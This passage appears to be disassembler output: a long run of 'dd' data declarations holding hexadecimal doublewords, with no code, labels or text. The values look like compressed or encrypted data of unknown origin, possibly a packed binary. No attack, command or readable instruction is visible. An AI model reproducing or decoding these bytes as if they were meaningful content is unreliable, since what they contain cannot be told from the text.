		dd 5BA40A00h, 0BCF59554h, 6A5300CFh, 58964541h,	0C91B8804h
		dd 8890D056h, 1AF9EDBh,	0DE6E2A50h, 0C87B40C3h,	0F0054EF7h
		dd 0E317E271h, 0F9688A80h, 0B26E004Dh, 5B412412h, 100920Bh
		dd 0BEDF47EFh, 5C04990Dh, 0AB00A716h, 0FC1B7A1Dh, 3000DDF4h
		dd 0AF2CA729h, 0B0C3D558h, 900805ACh, 80BDD695h, 4AF550F1h
		dd 96A72C00h, 5F6D0152h, 779D0029h, 0A2891A4h, 0DB023B45h
		dd 512C11BCh, 866C40E9h, 56B10074h, 689672B2h, 0B0C0CAC7h
		dd 0F4AD440Dh, 3AEC87h,	96915F84h, 5B23CFC1h, 802BCC25h
		dd 0FD055854h, 12B1016Bh, 71C35D9Eh, 0DFB3D433h, 0A6C881Eh
		dd 38C01040h, 1803FAh, 7AF6B5BDh, 9E139AB6h, 11C78500h
		dd 0ED2C8297h, 0A4DF0072h, 7C9D27E4h, 0CF075E7Ah, 380521A6h
		dd 0A8FE6550h, 76FB00CCh, 0ECB58BD4h, 6724ABF0h, 5E001828h
		dd 18DBC950h, 0C52300D3h, 0B10C2ABDh, 0AA005464h, 0A4072274h
		dd 0F0582910h, 0C4FC00A6h, 68832849h, 9900AF73h, 55942BC8h
		dd 2A9A26h, 346AEF25h, 0CC39357Bh, 593FAC01h, 9FD45A12h
		dd 28DE9670h, 38846704h, 481C5B90h, 123E474Ch, 1E3A0066h
		dd 9C00FA72h, 0E9EE2D65h, 8857B2h, 8310DF64h, 0BCF93B7Eh
		dd 0F43CDA00h, 0CED21B7h, 88125462h, 14C73C5h, 0EF1328BBh
		dd 0C235CB1Fh, 0B009C89h, 1C6454C2h, 157210C0h,	3FCDB3h
		dd 0C4886EC3h, 8A46414Bh, 0EE82B000h, 5F6B3806h, 0C0AF0004h
		dd 0D97A7518h, 0AB00BF49h, 973DB91Ch, 30AD2E33h, 8BE091EFh
		dd 5C00B308h, 5623BE02h, 0B56255h, 0DC746529h, 264EBF5Fh
		dd 8881E600h, 3E30F012h, 0F159006Bh, 0AD758693h, 431C7464h
		dd 0DDC00A03h, 0C091F627h, 6CF9009Eh, 2D364A49h, 0A200FB52h
		dd 0DF304157h, 0FF61EEh, 0C553A5CCh, 0B1546B8Ah, 0AE4CA902h
		dd 802B593Dh, 78F025A9h, 9D7607D4h, 0B0CA31E2h,	74369BFCh
		dd 0FBCFB4Dh, 63C93DA4h, 0F848C838h, 19C31Ah, 0DB47D8D4h
		dd 2F7A0B4Dh, 98C1D726h, 1582103h, 0CC8ED1D3h, 270AFC8h
		dd 27809222h, 9440388Bh, 4B00294Ch, 0AC9F6A83h,	4CF77A1Ah
		dd 243DFC11h, 0CA0014DDh, 48EA9321h, 16583781h,	9E640E24h
		dd 3171210Fh, 0D8308668h, 2CDA006Eh, 25B11762h,	99031629h
		dd 0C5BB51CEh, 91180ED8h, 95A223A9h, 9B60C484h,	1B00025Ah
		dd 386CD116h, 66A9D15h,	9FF53A24h, 0A102807Dh, 7C92E762h
		dd 0D4A440C6h, 0AF7901EEh, 9F97C82Eh, 0F3288091h, 0D15D52Ah
		dd 25AB0146h, 0B68349C7h, 61C860E4h, 84E3DA00h,	8F79A7C9h
		dd 75F90164h, 5B0A168Dh, 3BD6EE7Bh, 71EA0204h, 88099FE8h
		dd 6080E296h, 0C1910620h, 8DE158h, 3BA486C7h, 0E221A8CCh
		dd 5FD20645h, 785E779Eh, 7E8539h, 50782B17h, 0E486CCh
		dd 0E624EA74h, 0DA7579D4h, 65A5300h, 2E3FA1C2h,	8AE50543h
		dd 4BCC01h, 0B47B99B8h,	71008475h, 25F2510Eh, 9A29B6h
		dd 7C5F6C23h, 1A5401D3h, 0CFF49800h, 92F5D4A4h,	4E9500BFh
		dd 59B1293h, 0E2486068h, 18AA395Fh, 0AB946C19h,	4A931244h
		dd 0F2B00002h, 0D3BC9EE2h, 7F00B879h, 0ACAEEAFh, 0D7D8E1h
		dd 0CDBA0435h, 0E408E210h, 64ABF900h, 0E76FF6A5h, 0CFF10027h
		dd 59D5E53Ah, 0EC00FBD9h, 0C3BF2192h, 87E01Fh, 6BE2C70Eh
		dd 98D8C210h, 0CCA0B300h, 31E8EDF2h, 367E0E9Fh,	0E7C06765h
		dd 0FAD33C42h, 0ADDAEB00h, 3EE1FDFCh, 0DFF80070h, 1F3B8350h
		dd 0EC2E849Fh, 0CB009607h, 0EE1696EFh, 81720021h, 2A5998D7h
		dd 5D00789Eh, 127C6975h, 384BEC4h, 0EC288B6Eh, 1EB03245h
		dd 2C0009CBh, 736CF015h, 0B9B00Ah, 5E2365A9h, 9551C14Eh
		dd 0AC26DA00h, 5A90D253h, 0FD0B0432h, 0ECDDC5CAh, 0F1CC15B0h
		dd 176B00BCh, 1C9F0795h, 69F300E1h, 0B2543F15h,	0DE00341Eh
		dd 618DEF3Ch, 0B8F4C0Ch, 81C5097Ah, 7069FCA0h, 1FA05E7h
		dd 8CFFCA26h, 0E6135F04h, 9D46F480h, 459F3E79h,	0BECEB280h
		dd 4D2633FDh, 0D1008490h, 0E2814C37h, 536DBB8h,	0B7AC3B44h
		dd 245880EFh, 0DC00A0F8h, 1EBB56BCh, 1CBAC9C6h,	0C0E83ECFh
		dd 57B3B95Bh, 29001CB4h, 9D07E604h, 30A7928Fh, 0D488F573h
		dd 0B601A39Bh, 0A2297A74h, 188FE8ABh, 1F2137Ch,	4B19C788h
		dd 7055E4E9h, 4D28500h,	568FBBCCh, 78DF000Eh, 98FDD43Ch
		dd 7C7AF974h, 0D2BF48h,	1B18A330h, 885B9Dh, 0D6823BEEh
		dd 0A8BCDA12h, 0B2001C73h, 0D46D4002h, 1F9CCBFCh, 0EC5A016Bh
		dd 0CF8009Eh, 3B47C522h, 0E1F21700h, 698CDBA0h,	0C915004Fh
		dd 8960381Fh, 60265E2h,	4A92C66Ah, 0C2DCC1FEh, 0FECD2F60h
		dd 2D05036Eh, 1AA38374h, 7084EDA1h, 9B0FEA49h, 826B39E2h
		dd 603BD721h, 7009B2E7h, 0CCF100FEh, 355EAFBAh,	0C50217CEh
		dd 9C839453h, 85E89021h, 5D930009h, 0FECAB980h,	20050D1h
		dd 0EC65AD7Dh, 0E0A261h, 747CE619h, 9401C038h, 2CF5B000h
		dd 0FDCBA349h, 7645B8C8h, 0AF9200A8h, 6F27A27h,	0D41C09C9h
		dd 0DAC0F8B7h, 918E1835h, 58CC0474h, 8063F167h,	0F853884Ch
		dd 24442109h, 79880056h, 0FAA77B2h, 907C5473h, 124901A1h
		dd 982850h, 0B12C884Bh,	9A25F124h, 27D50030h, 3AAF292Ah
		dd 43025286h, 34A7C32Ch, 804059E4h, 58BD04Dh, 2100C66Dh
		dd 0A31AA2E6h, 21DACC4h, 0F96280E7h, 24C87597h,	1803AB19h
		dd 0D9AB2C3h, 0BCB20FD5h, 20F81474h, 0FC241B8Bh, 8738307Eh
		dd 0F970717h, 0AF9841BEh, 7860A618h, 0D77E003Fh, 57B76D3Ah
		dd 0EB0089C5h, 5AC40769h, 7BAC50h, 0D30C39C0h, 128733C7h
		dd 87D4B00h, 2FCFD035h,	0E32C00F6h, 7D1EE61h, 323ABED7h
		dd 88BCE7h, 0D2157AEDh,	0EA0859FEh, 135F49Ah, 9CA287A0h
		dd 705F1E18h, 0B700C2A0h, 3CAAD869h, 906C468Ch,	872800C2h
		dd 0B1ADFBE7h, 240015BAh, 0E526AE10h, 7E14DDh, 0BE48EF83h
		dd 972891E9h, 45416500h, 0B1F86E52h, 0C5F7008Fh, 0CF8E9B5Dh
		dd 9900B50Fh, 908D5797h, 3375CE4h, 0BA7C32FBh, 0D4E80253h
		dd 980014FFh, 89D7A20Fh, 0B4F5506h, 9C237492h, 0C7F25C04h
		dd 9B04C1F0h, 0F5F1DF79h, 0FE61C833h, 834D3200h, 671B87EAh
		dd 848F034Ah, 0B0FF9FDAh, 0C0E8A5CAh, 7E057330h, 6F4F799h
		dd 0CB971080h, 0B4240052h, 0DA39FB93h, 6C005538h, 1D54E589h
		dd 0F4BEDFh, 9B0E7F20h,	86C671FBh, 0F7210D3Fh, 0F35ABC00h
		dd 0C4C480Fh, 634E1277h
		dd 0C7CCCC07h, 0DC416F00h, 0F0D229Fh, 0DC809DB0h, 847C07E4h
		dd 6A318D1Ch, 460025E6h, 20C10B5Ah, 0CA513CA8h,	0C533AD80h
		dd 97599C87h, 52018272h, 3590BDF0h, 88D860F3h, 5FD04ACh
		dd 0C0C6E2D9h, 5E6BE768h, 832CEC70h, 920ECCB5h,	0AF9520FBh
		dd 0C2071DDAh, 9A5729F8h, 59CD9CC0h, 5C078890h,	0AE2D4C73h
		dd 509521B0h, 0BB8B0055h, 0E84294Fh, 5400227Ch,	0B438FB69h
		dd 0A4E6C0h, 0B5771A6Ah, 86C4C9E4h, 0B140EB01h,	0BF65A7A8h
		dd 77731CC0h, 0DA72169Bh, 0D821093Eh, 9C35680h,	5A04D140h
		dd 4998A437h, 279D9881h, 0D4F453C1h, 7E2D002Ah,	7B851208h
		dd 9C94E006h, 0F9070D12h, 65804305h, 8E640Fh, 8F3D0AC2h
		dd 5A9CD9FDh, 7528A301h, 1D7895D4h, 9B71470h, 0AA0F8224h
		dd 70891406h, 0E4A4FA12h, 0F701DC00h, 9F168Eh, 74777696h
		dd 58491B5Ah, 98AA833Bh, 7CA04EB6h, 0E7181392h,	4A000079h
		dd 0B517269Eh, 0C847834Ah, 0D1700188h, 0A0AA0CE8h, 6BC7B4h
		dd 0C48C9885h, 1346472Bh, 964C9002h, 40E17F78h,	0B99E66Ch
		dd 8C95EA20h, 0F20C5D80h, 5A00C090h, 0DC7E085Ch, 79B352h
		dd 0F0225DD1h, 6FEA0A48h, 5E008773h, 74044531h,	1E308DDh
		dd 0E991C334h, 601CB3FFh, 0B9009CE4h, 218CAF47h, 0A0E1A68Bh
		dd 0D981FFh, 93335A20h,	0FCEECF96h, 0E8C9CB98h,	78050951h
		dd 75009ED4h, 504CFB88h, 0C98B9F3h, 4DDA470Bh, 193302D1h
		dd 40C06CCEh, 340047BCh, 4866B97Bh, 9490F516h, 5DFE87ACh
		dd 0DD7CD29Dh, 0F961EC68h, 11438F03h, 9D1B6A0Bh, 6E7C8701h
		dd 0B4D02F13h, 683B00EBh, 7A59158Fh, 0B1126D8Eh, 67025627h
		dd 606FD0C8h, 15F9F06h,	2B372465h, 0F0EE2E9Eh, 3A03A795h
		dd 1672A23Dh, 1CC0855Bh, 96797563h, 406A66D0h, 0DE015CF6h
		dd 0C4BC9E0Ch, 752023E1h, 0D335007Fh, 0F6852C0h, 2F06701Fh
		dd 9F675F6Bh, 0C3420BA8h, 98D08801h, 51753A00h,	92D59A6Fh
		dd 0DCEF0FCDh, 20F22B1Bh, 0B3153448h, 7040254Bh, 804033DBh
		dd 0C1E20002h, 63198F64h, 0E57E25F9h, 0CE6E5100h, 9DAF7423h
		dd 605800C4h, 46176D32h, 0CB387CAAh, 8ADF804Ah,	3CE96BCDh
		dd 193F3CA2h, 1D68300h,	6A8E3321h, 23A31702h, 43654C30h
		dd 8C59E078h, 64BA0F20h, 6740BDB1h, 8ED6E392h, 55013500h
		dd 0D1416E19h, 7AF50960h, 9F47E5h, 62331B44h, 5F5DC8F8h
		dd 74E12B07h, 319008DCh, 0EE456857h, 4EAF0746h,	50918BBCh
		dd 6E5CEDDEh, 6BF7900h,	24A59735h, 6B23004Ah, 5469454h
		dd 8A3AA276h, 9AF787CAh, 63A256FAh, 6CC617h, 6CF0D59Eh
		dd 0A8F9E4D4h, 0B6AEF700h, 3351AFA7h, 6F1D28CAh, 2AF62DF4h
		dd 0A4C81820h, 7D04D686h, 5A625E84h, 2567D0C0h,	83DE00F4h
		dd 76687C3Ch, 3B005CCDh, 5BFC32FDh, 4813576Ch, 4005D0Ah
		dd 48B908DEh, 8409955Eh, 50A746C7h, 98DDE46Ch, 0E87F4C54h
		dd 0D04B6D00h, 0CC251F5Eh, 5C27A62Ch, 0BA72C80h, 6D11C0h
		dd 0C4849163h, 0E1DD9A0Fh, 7EE57200h, 22DE65F9h, 0E71326E6h
		dd 81020564h, 34A6B2h, 4967B4EAh, 263D45CEh, 808C36AAh
		dd 1E0F1BDDh, 0AB0942BEh, 80FE27F6h, 0C870BF1Fh, 4164886h
		dd 8EEBD100h, 286306D0h, 68E36A30h, 715EE46Bh, 58B06Ch
		dd 802EC3A4h, 767757D1h, 0D94E4E98h, 9CFD6C00h,	0A272AFh
		dd 3614A69Ah, 15564C60h, 0A30B760Fh, 415500BAh,	7D2F0Dh
		dd 2046E783h, 0E27051D1h, 61CB8A01h, 72C3954Ah,	536260h
		dd 58349BF9h, 4F197D0Fh, 90290224h, 86CE003Eh, 2DF370CAh
		dd 2A543F20h, 0B4E74202h, 70D69F17h, 91B7AA01h,	9DF0C0AEh
		dd 0B0C3520Ah, 1EDB8901h, 0ECCB78E1h, 0C1006065h, 0E7E7918h
		dd 787420Fh, 76110408h,	0C61C3036h, 0AB130646h,	3C0B1FB4h
		dd 0AC9D8527h, 0FA070CA3h, 7ED2CD3h, 0C06CC715h, 4FCA71D5h
		dd 74165Dh, 1161736Ah, 0C32690h, 92C999B1h, 0F99EC786h
		dd 33FF0818h, 0E48F3F7Ch, 79BB1CA2h, 0FCD24040h, 19BFA1CDh
		dd 5476EF1Ch, 0E44107DFh, 28E791ADh, 3B5620h, 6A3D9AF5h
		dd 934D4CD5h, 454AE00h,	774B951Dh, 0C0350088h, 0E2E1263Fh
		dd 0B008A7Eh, 6CA8CFDh,	23D1374h, 0CC4530F3h, 8869843Fh
		dd 18C3C3Bh, 77814807h,	0F8F45B09h, 0A7B8C06Dh,	0F27DC08h
		dd 9B2FC10Eh, 0E2007EB0h, 1762B37Bh, 0C0FC391Ch, 0E90D1608h
		dd 0EE838900h, 0CEFE65h, 922C4AE8h, 0AEF2BFABh,	0FD0AAF02h
		dd 6041D50Ch, 2505F550h, 2C80108Bh, 0CC422ADBh,	7D52D80Fh
		dd 83C6C0C9h, 2F1731h, 338BAE4Eh, 47B1D2E5h, 0A950E1Dh
		dd 90F0E4C3h, 9CB901BEh, 4833C215h, 74F060BDh, 0D84E5E00h
		dd 51A98DF5h, 7C2200F0h, 35DACD61h, 640088D5h, 723BDB29h
		dd 0FA8EDFh, 0CDB4E668h, 4AA0CA58h, 0C21BBF06h,	30DB85h
		dd 0B3215320h, 96DF738Ah, 2D009998h, 0DB748F10h, 19790E5h
		dd 0CE86CFF5h, 0F4E063C4h, 4F00D4BFh, 778D5C6Bh, 0A52411h
		dd 0F52A12E2h, 54DF717Fh, 0F7141B01h, 7D88F3A6h, 0C1E21C4h
		dd 0EEE1D538h, 71392786h, 2C8200B9h, 49431833h,	2AD61D80h
		dd 7E2EC5ACh, 0E50481A0h, 7915C8BEh, 0ED444Ch, 8F6A64Bh
		dd 74115Fh, 0D0259403h,	0E4B21090h, 0E09F3201h,	0A5263B7Eh
		dd 793ECCh, 1A2BD5B3h, 0F9091E8h, 0CD131F98h, 0A400CCF5h
		dd 0A68352FFh, 0A0670066h, 89DAD644h, 5303D73Eh, 0B374DFC4h
		dd 1D8CE0B4h, 5BB7F65Dh, 0BE10803Dh, 0CC165F03h, 7C801B84h
		dd 3CF89C5h, 37A11D5Eh,	0D888B4A6h, 9C2E3F20h, 5581083Ah
		dd 0B0CE3B07h, 0F0C522ECh, 0D34D0209h, 1C4860C2h, 2573D440h
		dd 0E5ADC917h, 0AEF6E000h, 0B695B666h, 65428084h, 924EB428h
		dd 0B7B85350h, 0ADB9FB09h, 72A08206h, 0F054C2EBh, 64A4D51Ch
		dd 6F2BFE01h, 8DE663EFh, 7C3C5810h, 39E0C4h, 59652469h
		dd 0E161FB80h, 0BD27B490h, 49640F48h, 891C90AEh, 52E825B3h
		dd 0A8059883h, 0C6748009h, 96E88216h, 0A0A0F045h, 71BB4E8h
		dd 8EA97D51h, 0D24B8018h, 13E8596Fh, 0FD0CB603h, 0F271FA30h
		dd 670860C3h, 0B99A00FCh, 0BE6AFBCAh, 37006F08h, 0D37A1FE8h
		dd 0FEF3E36Dh, 0FEF3A34h, 55128800h, 0AFEE0990h, 6F9A2401h
		dd 0FF33232Fh, 93EF3C0h, 0DA63E44Ah, 0D15A9900h, 462E2C3Ch
		dd 0B99890h, 0D58B483Eh, 13650FECh, 57E0DBh, 6B3D9EF4h
		dd 3A0197B5h, 8B2D3EC8h, 0ECC8A029h, 71A90074h,	405875A5h
		dd 2B0342A4h, 7DEFDD17h, 28C0ADD7h, 17A0C5Fh, 0DB88A80Fh
		dd 0C026C60Eh, 65FA9E37h, 52E93605h, 0F4B361C8h, 0F42AB2Ch
		dd 0CA0AF1Eh, 0D3575820h, 7B7CBB0Eh, 19978086h,	3AB71C95h
		dd 0EB802518h, 0D69FEC01h, 9E2639FCh, 0F700A602h, 769E9E5h
		dd 94EA00D9h, 85FD0E92h, 190F2831h, 60CCE0E2h, 308C20A6h
		dd 0B4F312E6h, 0CAF0022h, 41EBAA43h, 0FDF57901h, 55F16D3Bh
		dd 0D8A3F8h, 58F6B44Dh,	99496A0h, 51B9EA05h, 0A6C02ABAh
		dd 0E34CFEh, 35840FD9h,	48CA1AB4h, 0C950D601h, 0A9708F72h
		dd 4F776D8h, 0CC3E179Dh, 0BA88C01Dh, 152E3B78h,	0F87CC27h
		dd 42C15722h, 0A42CBF01h, 0CE31B80Fh, 750669h, 0A964263Bh
		dd 0A1DA0147h, 0D41EED0Eh, 0C22B6h, 4B0A037Ch, 765FFCh
		dd 0F8E045FFh, 0D417D6D7h, 0BB5BBE03h, 9964C80Ah, 60804639h
		dd 6F6CC37Ch, 691917EDh, 0DE08F6D4h, 4E0829D0h,	0C3F89151h
		dd 10403B71h, 5E27FF0Eh, 0C108C5C5h, 45D4D056h,	6600CFE3h
		dd 0AEB5722Dh, 0A6BB62h
		dd 175E511Dh, 6FE4F0B0h, 2FC76503h, 0AECF5647h,	0C4E4240h
		dd 994A54DDh, 0E2520241h, 0CD86CB2Ch, 0B6013476h, 0AD96630h
		dd 4F6080DEh, 0A485CC79h, 23830024h, 6AB83FBCh,	8700882Dh
		dd 0FA399667h, 9FCD32h,	0FD7A35E6h, 9C7F6B49h, 4F076A00h
		dd 0F10CDA65h, 810F1294h, 7609003Fh, 82126858h,	4B4CF400h
		dd 0AFBA6C6Dh, 0D2950051h, 8642CA0Fh, 0D1E8920h, 982AB044h
		dd 0AE5BFC00h, 0F56C1EA1h, 0F64000AFh, 0FB6D9ED8h, 90037767h
		dd 96D4266Eh, 8EC9031Ch, 0B4BB9C03h, 904A90FFh,	3600E958h
		dd 0D053C50Dh, 1CBB223h, 51A0CEEh, 7A504243h, 0EDC57C40h
		dd 39A4D0h, 0CD66B11Bh,	9231CF8Ch, 595AC203h, 9410581h
		dd 0E333A269h, 5B0A3010h, 0BBAAF118h, 886EE918h, 5227A39Bh
		dd 0CF20009Ch, 0D1465h,	0E0397BE7h, 0A7632983h,	0DFBFF11Dh
		dd 8AF07DC0h, 39EE4D5h,	37E2BDA2h, 35C1D743h, 800120AFh
		dd 0D979BE00h, 0A0CCA0Dh, 7D9F3D2Dh, 0FE1FDA03h, 7FF9C3B9h
		dd 0CF57CC74h, 18BD5C3Eh, 0D8E165C4h, 0D0C34B68h, 0ED3DE48h
		dd 6A8E9E00h, 9D1DA0BDh, 93A60131h, 65AFB8D8h, 20399F68h
		dd 88708600h, 2C18EF5h,	0A5932F80h, 0DE830612h,	68227A83h
		dd 0EE693963h, 0BD0194D2h, 4BC00DD1h, 22C1F899h, 48FDAB00h
		dd 0CDC76826h, 0E5B80023h, 0B6B70C39h, 0F0049DFh, 853A7B1Ah
		dd 0FAF12Dh, 156AADCBh,	9F564A59h, 0C312FD00h, 575EE693h
		dd 819BA0CEh, 90C19A41h, 5ABE1ED8h, 0DF8503E3h,	59A62A5Ch
		dd 41861818h, 18A17019h, 110D3BE4h, 2D00F0C1h, 19869734h
		dd 18FC4D3h, 880AEC1Ch,	0C0FC4522h, 48C0DD9Dh, 407ADC85h
		dd 0D4A9A0B9h, 6A623841h, 1F00D73Ch, 0EEE00611h, 0ED0038E6h
		dd 0DDACA744h, 1F10B48Ah, 0D3472Ch, 0FA282007h,	8F0F7A87h
		dd 5B245h, 0D87106A8h, 9FA000AAh, 476D4DEFh, 0D500948Dh
		dd 70B083BBh, 1848EF8h,	0E788C8E5h, 0BEA266DAh,	474005E1h
		dd 8583654Ch, 0D97A64h,	0DBEA03EDh, 0F654E414h,	0CECF100h
		dd 5F321238h, 9E9A0030h, 0E7897857h, 4BB0987Fh,	0E36BA00h
		dd 35A8A2AAh, 0BCD1008Eh, 993FCEACh, 890066CDh,	88FA2A96h
		dd 263F7F9h, 0D1B7A3ABh, 47C379EAh, 59612000h, 0CEDFB237h
		dd 3E1DFC05h, 0C7388A7Fh, 94D44180h, 4F088914h,	6A00B098h
		dd 5A0530A4h, 79CEBE1h,	8F2E914Bh, 0F3F6502Fh, 0DF00F984h
		dd 1958153Fh, 0B08C7C04h, 0CD7A39A7h, 1B708DB1h, 0E122DCEBh
		dd 0DF01C800h, 7580B8E9h, 9790281Eh, 586B005Ch,	30DB828Ch
		dd 35004DD9h, 322FDC3Dh, 37EBD14h, 0EA1AE60Fh, 0C906C1FFh
		dd 0F0EBA61Bh, 26360141h, 0FE442AEDh, 0EC2180A9h, 80A48255h
		dd 0D67700FAh, 0C8B0123Fh, 4A0097F6h, 0C9A9891Bh, 72CD1Eh
		dd 0C756B970h, 9BF0D6BDh, 819AB100h, 2A39EB96h,	0AC445FF1h
		dd 8A900FA8h, 7748602Eh, 1256C99h, 4417ECAAh, 0D01A3312h
		dd 20C02D05h, 8A6CE249h, 7FDB00B9h, 0EE59B64Eh,	0EBE48C90h
		dd 29604FECh, 760E9728h, 0A6FA010Ch, 0AF9322EFh, 0DB089BB7h
		dd 0FC2D821h, 575F0003h, 2C0AF2ACh, 711C373Ch, 984FF0E4h
		dd 41CD6024h, 685D33h, 4F5BFEF5h, 97E88B73h, 46852E03h
		dd 782F48D9h, 260B0150h, 52AAE7CCh, 56EC473h, 212A08CCh
		dd 0CC5C03EDh, 0D9B6DBFh, 0B860FDABh, 3BB697F9h, 2F3C014Fh
		dd 0A9AF3A4h, 0DB9052E6h, 86CE730h, 1A3CAA27h, 57403A64h
		dd 75996CE0h, 40F3EF03h, 1E10BBh, 3C809481h, 3577CFCCh
		dd 2BE35E07h, 5D60D489h, 60E6072Ch, 47EB287Dh, 63FC58Fh
		dd 46A600DFh, 5DFF8109h, 0E47D0140h, 26951FEEh,	3176F7A5h
		dd 0AA44FD00h, 0F9452893h, 1A9FF836h, 2092CEE3h, 0DAB80040h
		dd 0D5077176h, 0D453C9F7h, 908143h, 0BF220920h,	16D80D46h
		dd 0BE37243Dh, 1CB305C8h, 94000B74h, 0A5B62BA9h, 0C413C71h
		dd 5D00E9BEh, 91389B2h,	3003C2A4h, 83F3201Dh, 96F881FDh
		dd 0A8F78E61h, 11C12Fh,	0DA60AEF0h, 1DD5C34Eh, 645FC500h
		dd 25A4AD95h, 3CCD00FCh, 2A0F4435h, 0A603B719h,	0F5CE5075h
		dd 1AA5C0EDh, 3ED001F0h, 5F87D682h, 7AE0DC85h, 5B5C5900h
		dd 4B55A13h, 8EE1E3B7h,	0A973E06Ah, 0C86D7F0Fh,	0EE8AAEE5h
		dd 6B37805Dh, 0A0E069h,	9DF1F0A7h, 0AECE77B7h, 0AABFD305h
		dd 42AD42Ah, 6B0D00BAh,	8FDC77A6h, 60880044h, 0C54DA55Ah
		dd 0B1F29487h, 199ACE07h, 7BD061DEh, 809F468Fh,	76000247h
		dd 445FB0F5h, 74DB4D9h,	9F1BCB40h, 304C042h, 732E8579h
		dd 8E00B74Bh, 8F8D1EB8h, 0C61B0FA6h, 0DC805A29h, 134968D4h
		dd 4E3F4A78h, 7D6B0166h, 0A9A62EE2h, 0C2048F0h,	0B5B24B65h
		dd 293D7CB8h, 82C08059h, 0C80211E0h, 7AB00042h,	0E74BABAEh
		dd 4114F258h, 1114AA73h, 32112C3Ch, 10DB2168h, 42088882h
		dd 3F246EAFh, 115ECD21h, 0E511D924h, 1053126Fh,	70895071h
		dd 0B620D108h, 11574287h, 4C285212h, 0BE34373Ch, 958E1B29h
		dd 73FC55A0h, 0DA39A2A6h, 0B0E4013Ah, 0D89E816Eh, 0A131A1F8h
		dd 22CE7514h, 0E622DB16h, 5BA52297h, 2E596F22h,	9C478450h
		dd 443E6944h, 7E48A4C9h, 0A7960580h, 0BF12BA9Eh, 0CA00FAD0h
		dd 2ABF9D10h, 3740E38h,	0FE95B95Ah, 0DD90679Bh,	0C707E9D0h
		dd 9F7D6F51h, 8A2F49D0h, 0C7B85816h, 4006DE1Eh,	277637F5h
		dd 4A0004E3h, 0A289A886h, 0AFFF11h, 75E58AEBh, 0D7D96D5Eh
		dd 0DBD00100h, 8755AA8Ch, 0A4560092h, 2DF1029h,	1D07E5A0h
		dd 0C37ABF5Bh, 20FE6B97h, 0C10749ACh, 1C50563h,	0C08536CBh
		dd 2955AD24h, 0F0049903h, 0D8BDA678h, 503C43h, 3087148Ah
		dd 0B7226CE5h, 0C6056200h, 786407F7h, 0B65D013Eh, 4180488Bh
		dd 0E1CBF04Ah, 83734600h, 6D22EA06h, 597E0079h,	5E3375D0h
		dd 5C7485CFh, 66B3BE06h, 18DC1458h, 541C6DE6h, 0CF08D68h
		dd 1E02F703h, 0CC63D7h,	84E36740h, 1C8ACDD1h, 6A213A60h
		dd 6E87B180h, 0BA8011DAh, 37E92788h, 34A45000h,	3E7BB3D6h
		dd 0B03F0049h, 1ECA0BEEh, 8BE29808h, 0A3B6D400h, 0BCF16653h
		dd 0EA09FEFEh, 0B71200DFh, 6E7A22Ah, 0AB0017E2h, 496958D9h
		dd 629BB4h, 1929845Eh, 0F4C91C1Dh, 0B4DF900h, 0B25814C1h
		dd 699A0037h, 8959CAD9h, 9E58ABB8h, 0B53DF2h, 0FCEAEF4Ch
		dd 0C63DDEh, 4F7A12C4h,	0CE59B8C2h, 801A6F3Ch, 0E4B62C68h
		dd 0E30102Dh, 0E24B26D8h, 0BE9A19A0h, 9F005BB1h, 59810248h
		dd 55CB824h, 4AE625C1h,	4FA400C7h, 8A71F04Dh, 2AC85100h
		dd 6A3FEB1Dh, 0E0A700DEh, 80B3EAD8h, 0B17C8CCDh, 3D5B4700h
		dd 4821377h, 7F2392Dh, 9C93F894h, 8A739F01h, 0DCE31FD6h
		dd 3E903BE9h, 0E11E7D00h, 668FFD1Ah, 0FB4501C1h, 84DCA6Ch
		dd 47B8CF34h, 7A0037A8h, 0D25526F0h, 0C09515h, 0F7361B69h
		dd 3418137Eh, 0BC812C2Eh, 0D24F9200h, 732650Ch,	36468929h
		dd 9BB66055h, 2200D134h, 0A0255D9Ah, 5ECA7Ch, 0FBA94EA7h
		dd 0F5BB8D87h, 231A461Fh, 30F17D00h, 619D82h, 9C91D41Bh
		dd 0C92E1DDCh, 0E17EF900h, 56B24641h, 43F488h, 0F28D7383h
		dd 0EF04CB96h, 0F57A503h, 0A8756F1Eh, 997E472h,	0D361814Eh
		dd 6CC0242Eh, 53CAF7D9h, 0BB667400h, 0D25A1A36h, 83700EBh
		dd 17E11F70h, 38243ED9h, 120F9C92h, 0C0584E6Eh,	29DC99B0h
		dd 3EE62Bh, 16F164D1h, 5EFB5F31h, 8BD7A0Eh, 6CD3E0A0h
		dd 0BA9839h, 0ED37EA6Eh, 955B922Ah, 0A010EE00h,	26C50246h
		dd 0CBB100A7h, 0AD5507E6h
		dd 300944Dh, 38B5C7CAh,	6E2CA8h, 7B1652C6h, 61723A7Fh
		dd 0C0608D00h, 0D4F16222h, 0B9E42430h, 483B0028h, 0EAC7282Ah
		dd 1E82C100h, 72714034h, 7CED0069h, 577B6D4Eh, 760063A2h
		dd 6DF02B3h, 0D210E6h, 5C9C93D8h, 0A58D1940h, 0F16AF803h
		dd 0A095C8AEh, 451048h,	2DCCD261h, 0FAE2C984h, 33B58013h
		dd 0A900201Dh, 1355CBCh, 0C42107F9h, 0F00345A8h, 0B055FAC9h
		dd 0CB4D9000h, 1F7F70B9h, 0EA1B284Eh, 334C00A4h, 842640BBh
		dd 0A300D198h, 191A2F48h, 1C6FC4h, 0EFD33001h, 6B6EDCBFh
		dd 33543400h, 0B948881Bh, 2D522C7Ah, 3E43002Fh,	0C8CF24Ah
		dd 0D6005076h, 0BE064225h, 0EE1A230h, 4944635Dh, 6FC07041h
		dd 1924D84Dh, 3D4A7100h, 43A604D9h, 0AEC0095h, 0F9121C6Eh
		dd 1A008183h, 0CEA8DB4Ah, 1B25DD8h, 510D747Bh, 4396C439h
		dd 6FE822ECh, 507E1FCh,	0B51A9530h, 9400B32Eh, 4608C5BCh
		dd 79CB016Dh, 4DD3FB36h, 45FC607Ah, 0A506312h, 0DB052000h
		dd 8085A5h, 3E4EBF33h, 0E3AEA47Ah, 566DD900h, 0A351C8AAh
		dd 14F50095h, 312C1BDBh, 86000EC9h, 52A8A687h, 0BA2990h
		dd 0AE49DC22h, 0FCE93D62h, 0DA00B97Ah, 5AC8E45Dh, 4BF0289h
		dd 0F384F7B0h, 740E80A6h, 709F69FFh, 43E0CE70h,	0C2644FA0h
		dd 6030C0B5h, 0AF07965Fh, 0ECB307A1h, 722BBA11h, 5FC0521Eh
		dd 8F287EE8h, 0D77AC51h, 81E2B000h, 0F4C73940h,	3FE7377h
		dd 0B882BD6Bh, 1FE00805h, 8B00FD52h, 33227221h,	0E13256h
		dd 1DD24431h, 0A68C90FEh, 0F1E89600h, 0CB8EB9E3h, 85D8034Fh
